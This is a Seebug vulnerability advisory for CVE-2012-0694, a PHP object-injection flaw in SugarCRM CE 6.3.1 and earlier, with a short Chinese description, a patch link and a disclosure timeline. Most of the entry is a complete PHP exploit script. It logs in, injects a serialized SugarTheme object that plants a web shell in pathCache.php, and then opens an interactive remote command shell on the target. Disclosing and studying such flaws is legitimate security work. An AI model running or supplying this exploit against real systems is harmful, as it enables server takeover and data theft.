Lucene search

K
seebugRootSSV:60302
HistoryJul 30, 2012 - 12:00 a.m.

SugarCRM CE <= 6.3.1 "unserialize()" PHP代码执行漏洞

2012-07-3000:00:00
Root
www.seebug.org
13

0.943 High

EPSS

Percentile

99.0%

CVE(CAN) ID: CVE-2012-0694

SugarCRM是开源的客户关系管理系统。

SugarCRM 6.4.0在"unserialize()"的实现上存在安全漏洞,通过"SugarTheme"类的"__destruct()"方法的$_REQUEST[‘current_query_by_page’]输入变量传递临时序列化对象可导致执行任意PHP代码。
0
SugarCRM Community Edition <= 6.3.1
厂商补丁:

SugarCRM

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.sugarcrm.net/home/


                                                &lt;?php
 
/*
    -------------------------------------------------------
    SugarCRM CE &lt;= 6.3.1 &quot;unserialize()&quot; PHP Code Execution
    -------------------------------------------------------
     
    author...........: Egidio Romano aka EgiX
    mail.............: n0b0d13s[at]gmail[dot]com
    software link....: http://www.sugarcrm.com/
     
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
     
    [-] Vulnerable code in different locations:
     
    include/export_utils.php:377:  $searchForm-&gt;populateFromArray(unserialize(base64_decode($query)));
    include/generic/Save2.php:197:  $current_query_by_page_array = unserialize(base64_decode($current_query_by_page));
    include/MVC/Controller/SugarController.php:593:  $_REQUEST = unserialize(base64_decode($temp_req['current_query_by_page']));
    include/MVC/View/views/view.list.php:82:  $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
    modules/Import/Importer.php:536:  $firstrow    = unserialize(base64_decode($_REQUEST['firstrow']));
    modules/ProjectTask/views/view.list.php:95:  $current_query_by_page = unserialize(base64_decode($_REQUEST['current_query_by_page']));
     
    The vulnerability  is  caused  due to  all these scripts using &quot;unserialize()&quot; with user  controlled input.
    This can be exploited to e.g. execute arbitrary PHP code via the  &quot;__destruct()&quot; method of the &quot;SugarTheme&quot;
    class, passing an  ad-hoc  serialized object through the $_REQUEST['current_query_by_page'] input variable.
 
    [-] Disclosure timeline:
     
    [31/10/2011] - Vulnerability discovered
    [05/11/2011] - Vendor notified to secure(at)sugarcrm.com
    [25/11/2011] - Vendor notified to http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/
    [07/12/2011] - Vendor fix the issue on his own within 6.4.0 RC1 release
    [10/01/2012] - CVE number requested
    [12/01/2012] - Assigned CVE-2012-0694
    [06/02/2012] - Issue addressed within 6.4.0 version
    [23/06/2012] - Public disclosure
     
*/
 
error_reporting(0);
set_time_limit(0);
ini_set(&quot;default_socket_timeout&quot;, 5);
 
function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80))) die(&quot;\n[-] No response from {$host}:80\n&quot;);
    fputs($sock, $packet);
    return stream_get_contents($sock);
}
 
print &quot;\n+------------------------------------------------------------+&quot;;
print &quot;\n| SugarCRM CE &lt;= 6.3.1 Remote Code Execution Exploit by EgiX |&quot;;
print &quot;\n+------------------------------------------------------------+\n&quot;;
 
if ($argc &lt; 5)
{
    print &quot;\nUsage......: php $argv[0] &lt;host&gt; &lt;path&gt; &lt;username&gt; &lt;password&gt;\n&quot;;
    print &quot;\nExample....: php $argv[0] localhost / sarah sarah&quot;;
    print &quot;\nExample....: php $argv[0] localhost /sugarcrm/ jim jim\n&quot;;
    die();
}
 
list($host, $path) = array($argv[1], $argv[2]);
 
$payload = &quot;module=Users&amp;action=Authenticate&amp;user_name={$argv[3]}&amp;user_password={$argv[4]}&quot;;
$packet  = &quot;POST {$path}index.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cookie: PHPSESSID=1\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
 
$login = http_send($host, $packet);
 
if (preg_match(&quot;/action=Login/&quot;, $login)) die(&quot;\n[-] Login failed!\n&quot;);
if (!preg_match(&quot;/Set-Cookie: (.*) path/&quot;, $login, $sid)) die(&quot;\n[-] Session ID not found!\n&quot;);
 
class SugarTheme
{
    protected $dirName = '../..';
    private   $_jsCache = '&lt;?php error_reporting(0);passthru(base64_decode($_SERVER[HTTP_CMD])); ?&gt;';
}
 
$payload = &quot;module=Contacts&amp;Contacts2_CONTACT_offset=1&amp;current_query_by_page=&quot;.base64_encode(serialize(new SugarTheme));
$packet  = &quot;POST {$path}index.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cookie: {$sid[1]}\r\n&quot;;
$packet .= &quot;Content-Length: &quot;.strlen($payload).&quot;\r\n&quot;;
$packet .= &quot;Content-Type: application/x-www-form-urlencoded\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n{$payload}&quot;;
 
http_send($host, $packet);
 
$packet  = &quot;GET {$path}pathCache.php HTTP/1.0\r\n&quot;;
$packet .= &quot;Host: {$host}\r\n&quot;;
$packet .= &quot;Cmd: %s\r\n&quot;;
$packet .= &quot;Connection: close\r\n\r\n&quot;;
 
while(1)
{
    print &quot;\nsugar-shell# &quot;;
    if (($cmd = trim(fgets(STDIN))) == &quot;exit&quot;) break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match('/s:72:&quot;(.*)&quot;;s:8/s', $response, $m) ? print $m[1] : die(&quot;\n[-] Exploit failed!\n&quot;);
}

?&gt;